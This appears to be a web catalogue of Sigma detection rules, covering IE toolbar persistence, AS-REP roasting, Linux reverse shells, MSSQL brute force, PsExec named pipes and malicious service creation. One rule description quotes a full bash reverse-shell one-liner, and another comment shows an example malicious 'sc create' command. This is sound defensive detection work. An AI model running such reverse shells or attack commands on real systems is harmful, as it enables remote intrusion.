    - https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d # a list with registry keys
author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)
date: 2019-10-25
modified: 2023-08-17
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    ie:
        TargetObject|contains:
            - '\Software\Wow6432Node\Microsoft\Internet Explorer'
            - '\Software\Microsoft\Internet Explorer'
    ie_details:
        TargetObject|contains:
            - '\Toolbar'
            - '\Extensions'
            - '\Explorer Bars'
    filter_empty:
        Details: '(Empty)'
    filter_extensions:
        TargetObject|contains:
            - '\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}'
            - '\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}'
            - '\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}'
            - '\Extensions\{A95fe080-8f5d-11d2-a20b-00aa003c157a}'
    filter_toolbar:
        TargetObject|endswith:
            - '\Toolbar\ShellBrowser\ITBar7Layout'
            - '\Toolbar\ShowDiscussionButton'
            - '\Toolbar\Locked'
    condition: ie and ie_details and not 1 of filter_*
falsepositives:
    - Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason
    - Legitimate administrator sets up autorun keys for legitimate reason
level: medium

Stages and Predicates

Stage 0: condition

ie and ie_details and not 1 of filter_*

Stage 1: ie

ie:
    TargetObject|contains:
        - '\Software\Wow6432Node\Microsoft\Internet Explorer'
        - '\Software\Microsoft\Internet Explorer'

Stage 2: ie_details

ie_details:
    TargetObject|contains:
        - '\Toolbar'
        - '\Extensions'
        - '\Explorer Bars'

Stage 3: not filter_*

filter_empty:
    Details: '(Empty)'
filter_extensions:
    TargetObject|contains:
        - '\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}'
        - '\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}'
        - '\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}'
        - '\Extensions\{A95fe080-8f5d-11d2-a20b-00aa003c157a}'
filter_toolbar:
    TargetObject|endswith:
        - '\Toolbar\ShellBrowser\ITBar7Layout'
        - '\Toolbar\ShowDiscussionButton'
        - '\Toolbar\Locked'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetObjectmatch
  • \Explorer Bars
  • \Extensions
  • \Software\Microsoft\Internet Explorer
  • \Software\Wow6432Node\Microsoft\Internet Explorer
  • \Toolbar
field:"TargetObject" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Detailseq(Empty)excludes:Details field:"Details" value:"(Empty)"
TargetObjectends_with\Toolbar\Lockedexcludes:TargetObject field:"TargetObject" value:"\Toolbar\Locked"
TargetObjectends_with\Toolbar\ShellBrowser\ITBar7Layoutexcludes:TargetObject field:"TargetObject" value:"\Toolbar\ShellBrowser\ITBar7Layout"
TargetObjectends_with\Toolbar\ShowDiscussionButtonexcludes:TargetObject field:"TargetObject" value:"\Toolbar\ShowDiscussionButton"
TargetObjectmatch\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}excludes:TargetObject field:"TargetObject" value:"\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}"
TargetObjectmatch\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}excludes:TargetObject field:"TargetObject" value:"\Extensions\{31D09BA0-12F5-4CCE-BE8A-2923E76605DA}"
TargetObjectmatch\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}excludes:TargetObject field:"TargetObject" value:"\Extensions\{789FE86F-6FC4-46A1-9849-EDE0DB0C95CA}"
TargetObjectmatch\Extensions\{A95fe080-8f5d-11d2-a20b-00aa003c157a}excludes:TargetObject field:"TargetObject" value:"\Extensions\{A95fe080-8f5d-11d2-a20b-00aa003c157a}"

Kerberos AS-REP Roasting ticket request detected

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker abuse an account with UAC settings set to "Accounts Does not Require Pre-Authentication" in order to perform offline TGT brutforce. May also be triggered by an attacker performing some Kerberos user enumration with tools like "Kerbrute".

Known False Positives

  • Account configured to not require pre-authentication

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Kerberos AS-REP Roasting ticket request detected
description: Detects scenarios where an attacker abuse an account with UAC settings set to "Accounts Does not Require Pre-Authentication" in order to perform offline TGT brutforce. May also be triggered by an attacker performing some Kerberos user enumration with tools like "Kerbrute".
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0006-Credential%20Access/T1558-Steal%20or%20Forge%20Kerberos%20Tickets
- https://github.com/HarmJ0y/ASREPRoast
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
- https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#as-rep-roasting
- https://medium.com/@jsecurity101/ioc-differences-between-kerberoasting-and-as-rep-roasting-4ae179cdf9ec
- https://rioasmara.com/2020/07/04/kerberoasting-as-req-pre-auth-vs-non-pre-auth/
- https://www.hackingarticles.in/as-rep-roasting/
tags:
- attack.credential_access
- attack.t1558.004
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    Status: 0x0 # Success
    ServiceSid|endswith: '-502'
    PreAuthType: 0  # Logon without Pre-Authentication.
    #TicketOptions:
    #  - 0x40800010 # triggered by ASREPRoast & Rubeus
    #  - 0x50800000 # user enumeration triggered by Kerbrute (proxiable ticket)
  filter:
    - IpAddress: '%domain_controllers_ips%' # reduce amount of false positives
  condition: selection and not filter
falsepositives:
- Account configured to not require pre-authentication
level: high

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
  EventID: 4768
  Status: 0x0
  ServiceSid|endswith: '-502'
  PreAuthType: 0

Stage 2: not filter

filter:
  - IpAddress: '%domain_controllers_ips%'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
PreAuthTypeeq
  • 0 corpus 2 (sigma 2)
field:"PreAuthType" kind:eq value:"0"
ServiceSidends_with
  • -502 corpus 4 (sigma 4)
field:"ServiceSid" kind:ends_with value:"-502"
Statuseq
  • 0 corpus 7 (sigma 7)
field:"Status" kind:eq value:"0"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
IpAddresseq%domain_controllers_ips%excludes:IpAddress field:"IpAddress" value:"%domain_controllers_ips%"

Linux Reverse Shell Indicator

#
Status
test
Severity
critical
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 3: Network connection

Rule Body

title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        Image|endswith: '/bin/bash'
    filter:
        DestinationIp:
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection and not filter
falsepositives:
    - Unknown
level: critical

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    Image|endswith: '/bin/bash'

Stage 2: not filter

filter:
    DestinationIp:
        - '127.0.0.1'
        - '0.0.0.0'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • /bin/bash corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"/bin/bash"

Exclusions

The rule actively suppresses these predicates.

MSSQL Server Failed Logon From External Network

#
Status
test
Severity
medium
Author
j4son
Source
github.com/SigmaHQ/sigma

Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

ProviderRecord / event type
MSSQLSERVEREvent ID 18456

Rule Body

title: MSSQL Server Failed Logon From External Network
id: ebfe73c2-5bc9-4ed9-aaa8-8b54b2b4777d
related:
    - id: 218d2855-2bba-4f61-9c85-81d0ea63ac71
      type: similar
status: test
description: Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.
references:
    - https://cybersecthreat.com/2020/07/08/enable-mssql-authentication-log-to-eventlog/
    - https://www.experts-exchange.com/questions/27800944/EventID-18456-Failed-to-open-the-explicitly-specified-database.html
author: j4son
date: 2023-10-11
modified: 2025-05-28
tags:
    - attack.credential-access
    - attack.t1110
logsource:
    product: windows
    service: application
    definition: 'Requirements: Must enable MSSQL authentication.'
detection:
    selection:
        Provider_Name|contains: 'MSSQL' # Note: We use contains to account for other third party providers - See https://github.com/SigmaHQ/sigma/issues/4876
        EventID: 18456
    filter_main_local_ips:
        Data|contains:
            - 'CLIENT: 10.' # filter_range_IP: 10.0.0.0/8
            - 'CLIENT: 172.16.' # filter_range_IP: 172.16.0.0/12
            - 'CLIENT: 172.17.'
            - 'CLIENT: 172.18.'
            - 'CLIENT: 172.19.'
            - 'CLIENT: 172.20.'
            - 'CLIENT: 172.21.'
            - 'CLIENT: 172.22.'
            - 'CLIENT: 172.23.'
            - 'CLIENT: 172.24.'
            - 'CLIENT: 172.25.'
            - 'CLIENT: 172.26.'
            - 'CLIENT: 172.27.'
            - 'CLIENT: 172.28.'
            - 'CLIENT: 172.29.'
            - 'CLIENT: 172.30.'
            - 'CLIENT: 172.31.'
            - 'CLIENT: 192.168.' # filter_range_IP: 192.168.0.0/16
            - 'CLIENT: 127.' # filter_loop_back: 127.0.0.0/8
            - 'CLIENT: 169.254.' # fileter_link-local_addressing: 169.254.0.0/16
            - 'CLIENT: <local machine>'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    Provider_Name|contains: 'MSSQL'
    EventID: 18456

Stage 2: not filter_main_local_ips

filter_main_local_ips:
    Data|contains:
        - 'CLIENT: 10.'
        - 'CLIENT: 172.16.'
        - 'CLIENT: 172.17.'
        - 'CLIENT: 172.18.'
        - 'CLIENT: 172.19.'
        - 'CLIENT: 172.20.'
        - 'CLIENT: 172.21.'
        - 'CLIENT: 172.22.'
        - 'CLIENT: 172.23.'
        - 'CLIENT: 172.24.'
        - 'CLIENT: 172.25.'
        - 'CLIENT: 172.26.'
        - 'CLIENT: 172.27.'
        - 'CLIENT: 172.28.'
        - 'CLIENT: 172.29.'
        - 'CLIENT: 172.30.'
        - 'CLIENT: 172.31.'
        - 'CLIENT: 192.168.'
        - 'CLIENT: 127.'
        - 'CLIENT: 169.254.'
        - 'CLIENT: <local machine>'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Provider_Namematch
  • MSSQL corpus 7 (sigma 7)
field:"Provider_Name" kind:match value:"MSSQL"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
DatamatchCLIENT: 10.excludes:Data field:"Data" value:"CLIENT: 10."
DatamatchCLIENT: 127.excludes:Data field:"Data" value:"CLIENT: 127."
DatamatchCLIENT: 169.254.excludes:Data field:"Data" value:"CLIENT: 169.254."
DatamatchCLIENT: 172.16.excludes:Data field:"Data" value:"CLIENT: 172.16."
DatamatchCLIENT: 172.17.excludes:Data field:"Data" value:"CLIENT: 172.17."
DatamatchCLIENT: 172.18.excludes:Data field:"Data" value:"CLIENT: 172.18."
DatamatchCLIENT: 172.19.excludes:Data field:"Data" value:"CLIENT: 172.19."
DatamatchCLIENT: 172.20.excludes:Data field:"Data" value:"CLIENT: 172.20."
DatamatchCLIENT: 172.21.excludes:Data field:"Data" value:"CLIENT: 172.21."
DatamatchCLIENT: 172.22.excludes:Data field:"Data" value:"CLIENT: 172.22."
DatamatchCLIENT: 172.23.excludes:Data field:"Data" value:"CLIENT: 172.23."
DatamatchCLIENT: 172.24.excludes:Data field:"Data" value:"CLIENT: 172.24."
DatamatchCLIENT: 172.25.excludes:Data field:"Data" value:"CLIENT: 172.25."
DatamatchCLIENT: 172.26.excludes:Data field:"Data" value:"CLIENT: 172.26."
DatamatchCLIENT: 172.27.excludes:Data field:"Data" value:"CLIENT: 172.27."
DatamatchCLIENT: 172.28.excludes:Data field:"Data" value:"CLIENT: 172.28."
DatamatchCLIENT: 172.29.excludes:Data field:"Data" value:"CLIENT: 172.29."
DatamatchCLIENT: 172.30.excludes:Data field:"Data" value:"CLIENT: 172.30."
DatamatchCLIENT: 172.31.excludes:Data field:"Data" value:"CLIENT: 172.31."
DatamatchCLIENT: 192.168.excludes:Data field:"Data" value:"CLIENT: 192.168."
DatamatchCLIENT: <local machine>excludes:Data field:"Data" value:"CLIENT: <local machine>"

New Root Certificate Authority Added

#
Status
test
Severity
medium
Author
Harjot Shah Singh, '@cyb3rjy0t'
Source
github.com/SigmaHQ/sigma

Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
AzureSet Company Information

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: New Root Certificate Authority Added
id: 4bb80281-3756-4ec8-a88e-523c5a6fda9e
status: test
description: Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.
references:
    - https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f
    - https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/
author: Harjot Shah Singh, '@cyb3rjy0t'
date: 2024-03-26
tags:
    - attack.credential-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.defense-impairment
    - attack.t1556
logsource:
    product: azure
    service: auditlogs
detection:
    selection:
        OperationName: 'Set Company Information'
        TargetResources.modifiedProperties.newValue|contains: 'TrustedCAsForPasswordlessAuth'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    OperationName: 'Set Company Information'
    TargetResources.modifiedProperties.newValue|contains: 'TrustedCAsForPasswordlessAuth'

Indicators

These rows show field, operator, and value matches.

Potential Goofy Guineapig Backdoor Activity

#
Status
test
Severity
high
Author
X__Junior (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

Rule Body

title: Potential Goofy Guineapig Backdoor Activity
id: 477a5ed3-a374-4282-9f3b-ed94e159a108
status: test
description: Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report.
references:
    - https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
author: X__Junior (Nextron Systems)
date: 2023-05-14
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: 'choice /t %d /d y /n >nul'
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains: 'choice /t %d /d y /n >nul'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • choice /t %d /d y /n >nul
field:"CommandLine" kind:match value:"choice /t %d /d y /n >nul"

Potential KDC RC4-HMAC Downgrade Exploit - CVE-2022-37966

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation

MITRE ATT&CK Coverage

TacticTechniques
Privilege EscalationNo specific technique

Telemetry Coverage

Rule Body

title: Potential KDC RC4-HMAC Downgrade Exploit - CVE-2022-37966
id: e6f81941-b1cd-4766-87db-9fc156f658ee
status: test
description: Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation
references:
    - https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d
author: Florian Roth (Nextron Systems)
date: 2022-11-09
modified: 2025-11-03
tags:
    - attack.privilege-escalation
    - detection.emerging-threats
    - cve.2022-37966
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 42
        Provider_Name:
            - 'Kerberos-Key-Distribution-Center'
            - 'Microsoft-Windows-Kerberos-Key-Distribution-Center'
        Level: 2  # Error
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 42
    Provider_Name:
        - 'Kerberos-Key-Distribution-Center'
        - 'Microsoft-Windows-Kerberos-Key-Distribution-Center'
    Level: 2

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Leveleq
  • 2 corpus 2 (sigma 2)
field:"Level" kind:eq value:"2"
Provider_Nameeq
  • Kerberos-Key-Distribution-Center corpus 3 (sigma 3)
  • Microsoft-Windows-Kerberos-Key-Distribution-Center corpus 4 (sigma 4)
field:"Provider_Name" kind:eq

Potentially Suspicious Desktop Background Change Using Reg.EXE

#
Status
test
Severity
medium
Author
Stephen Lincoln @slincoln-aiq (AttackIQ)
Source
github.com/SigmaHQ/sigma

Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

Known False Positives

  • Administrative scripts that change the desktop background to a company logo or other image.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potentially Suspicious Desktop Background Change Using Reg.EXE
id: 8cbc9475-8d05-4e27-9c32-df960716c701
related:
    - id: 85b88e05-dadc-430b-8a9e-53ff1cd30aae
      type: similar
status: test
description: |
    Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background.
    This is a common technique used by malware to change the desktop background to a ransom note or other image.
references:
    - https://www.attackiq.com/2023/09/20/emulating-rhysida/
    - https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/
    - https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html
    - https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior
    - https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper
    - https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI
author: Stephen Lincoln @slincoln-aiq (AttackIQ)
date: 2023-12-21
tags:
    - attack.persistence
    - attack.impact
    - attack.defense-impairment
    - attack.t1112
    - attack.t1491.001
logsource:
    product: windows
    category: process_creation
detection:
    # TODO: Improve this to also focus on variation using PowerShell and other CLI tools
    selection_reg_img:
        - Image|endswith: '\reg.exe'
        - OriginalFileName: 'reg.exe'
    selection_reg_flag:
        CommandLine|contains: 'add'
    selection_keys:
        CommandLine|contains:
            - 'Control Panel\Desktop'
            - 'CurrentVersion\Policies\ActiveDesktop'
            - 'CurrentVersion\Policies\System'
    selection_cli_reg_1:
        CommandLine|contains|all:
            - '/v NoChangingWallpaper'
            - '/d 1' # Prevent changing desktop background
    selection_cli_reg_2:
        CommandLine|contains|all:
            - '/v Wallpaper'
            - '/t REG_SZ'
    selection_cli_reg_3:
        CommandLine|contains|all:
            - '/v WallpaperStyle'
            - '/d 2' # Stretch
    condition: all of selection_reg_* and selection_keys and 1 of selection_cli_reg_*
falsepositives:
    - Administrative scripts that change the desktop background to a company logo or other image.
level: medium

Stages and Predicates

Stage 0: condition

all of selection_reg_* and selection_keys and 1 of selection_cli_reg_*

Stage 1: selection_reg_img

selection_reg_img:
    - Image|endswith: '\reg.exe'
    - OriginalFileName: 'reg.exe'

Stage 2: selection_reg_flag

selection_reg_flag:
    CommandLine|contains: 'add'

Stage 3: selection_keys

selection_keys:
    CommandLine|contains:
        - 'Control Panel\Desktop'
        - 'CurrentVersion\Policies\ActiveDesktop'
        - 'CurrentVersion\Policies\System'

Stage 4: selection_cli_reg_1

selection_cli_reg_1:
    CommandLine|contains|all:
        - '/v NoChangingWallpaper'
        - '/d 1'

Stage 5: selection_cli_reg_2

selection_cli_reg_2:
    CommandLine|contains|all:
        - '/v Wallpaper'
        - '/t REG_SZ'

Stage 6: selection_cli_reg_3

selection_cli_reg_3:
    CommandLine|contains|all:
        - '/v WallpaperStyle'
        - '/d 2'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /d 1 corpus 2 (sigma 2)
  • /d 2
  • /t REG_SZ corpus 2 (sigma 2)
  • /v NoChangingWallpaper
  • /v Wallpaper
  • /v WallpaperStyle
  • Control Panel\Desktop
  • CurrentVersion\Policies\ActiveDesktop
  • CurrentVersion\Policies\System
  • add corpus 30 (sigma 26, splunk 4)
field:"CommandLine" kind:match
Imageends_with
  • \reg.exe corpus 58 (sigma 58)
field:"Image" kind:ends_with value:"\reg.exe"
OriginalFileNameeq
  • reg.exe corpus 41 (sigma 32, splunk 8, elastic 1)
field:"OriginalFileName" kind:eq value:"reg.exe"

Powershell Inline Execution From A File

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects inline execution of PowerShell code from a file

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Powershell Inline Execution From A File
id: ee218c12-627a-4d27-9e30-d6fb2fe22ed2
status: test
description: Detects inline execution of PowerShell code from a file
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50
author: frack113
date: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: process_creation
detection:
    selection_exec:
        CommandLine|contains:
            - 'iex '
            - 'Invoke-Expression '
            - 'Invoke-Command '
            - 'icm '
    selection_read:
        CommandLine|contains:
            - 'cat '
            - 'get-content '
            - 'type '
    selection_raw:
        CommandLine|contains: ' -raw'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_powershell_exec_data_file/info.yml

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_exec

selection_exec:
    CommandLine|contains:
        - 'iex '
        - 'Invoke-Expression '
        - 'Invoke-Command '
        - 'icm '

Stage 2: selection_read

selection_read:
    CommandLine|contains:
        - 'cat '
        - 'get-content '
        - 'type '

Stage 3: selection_raw

selection_raw:
    CommandLine|contains: ' -raw'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -raw
  • Invoke-Command
  • Invoke-Expression
  • cat corpus 3 (sigma 3)
  • get-content corpus 2 (sigma 2)
  • icm corpus 2 (sigma 2)
  • iex corpus 7 (sigma 6, elastic 1)
  • type corpus 6 (sigma 6)
field:"CommandLine" kind:match

PsExec Default Named Pipe

#
Status
test
Severity
low
Author
Thomas Patzke
Source
github.com/SigmaHQ/sigma

Detects PsExec service default pipe creation

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: PsExec Default Named Pipe
id: f3f3a972-f982-40ad-b63c-bca6afdfad7c
related:
    - id: 42c575ea-e41e-41f1-b248-8093c3e82a28
      type: derived
status: test
description: Detects PsExec service default pipe creation
references:
    - https://www.jpcert.or.jp/english/pub/sr/ir_research.html
    - https://jpcertcc.github.io/ToolAnalysisResultSheet
author: Thomas Patzke
date: 2017-06-12
modified: 2022-10-09
tags:
    - attack.execution
    - attack.t1569.002
    - attack.s0029
    - detection.threat-hunting
logsource:
    category: pipe_created
    product: windows
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName: '\PSEXESVC'
    condition: selection
falsepositives:
    - Unknown
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    PipeName: '\PSEXESVC'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
PipeNameeq
  • \PSEXESVC corpus 2 (sigma 2)
field:"PipeName" kind:eq value:"\PSEXESVC"

PUA - CSExec Default Named Pipe

#
Status
test
Severity
medium
Author
Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects default CSExec pipe creation

Known False Positives

  • Legitimate Administrator activity

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: PUA - CSExec Default Named Pipe
id: f318b911-ea88-43f4-9281-0de23ede628e
related:
    - id: 9e77ed63-2ecf-4c7b-b09d-640834882028
      type: obsolete
status: test
description: Detects default CSExec pipe creation
references:
    - https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
    - https://github.com/malcomvetter/CSExec
author: Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems)
date: 2023-08-07
modified: 2023-11-30
tags:
    - attack.lateral-movement
    - attack.t1021.002
    - attack.execution
    - attack.t1569.002
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName|contains: '\csexecsvc'
    condition: selection
falsepositives:
    - Legitimate Administrator activity
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    PipeName|contains: '\csexecsvc'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
PipeNamematch
  • \csexecsvc
field:"PipeName" kind:match value:"\csexecsvc"

Ruby Inline Command Execution

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Ruby Inline Command Execution
id: 20a5ffa1-3848-4584-b6f8-c7c7fd9f69c8
status: test
description: Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.
references:
    - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    - https://www.revshells.com/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\ruby.exe'
        - OriginalFileName: 'ruby.exe'
    selection_cli:
        CommandLine|contains: ' -e'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\ruby.exe'
    - OriginalFileName: 'ruby.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains: ' -e'

Indicators

These rows show field, operator, and value matches.

Service creation (command)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempts to create a service for persistence.

Known False Positives

  • administrator deplying service
  • new application installation

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Service creation (command)
description: Detects scenarios where an attacker attempts to create a service for persistence.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc990289(v=ws.11)
- https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/
- https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
- https://www.loldrivers.io/
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    NewProcessName|endswith: \sc.exe
    CommandLine|contains: create #  CommandLine "sc \\fs02\ create hacker-testl binPath='virus.exe'
  condition: selection
falsepositives:
- administrator deplying service
- new application installation
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  NewProcessName|endswith: \sc.exe
  CommandLine|contains: create

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • create corpus 29 (sigma 17, splunk 7, elastic 5)
field:"CommandLine" kind:match value:"create"
NewProcessNameends_with
  • \sc.exe corpus 30 (sigma 30)
field:"Image" kind:ends_with value:"\sc.exe"

Setup16.EXE Execution With Custom .Lst File

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

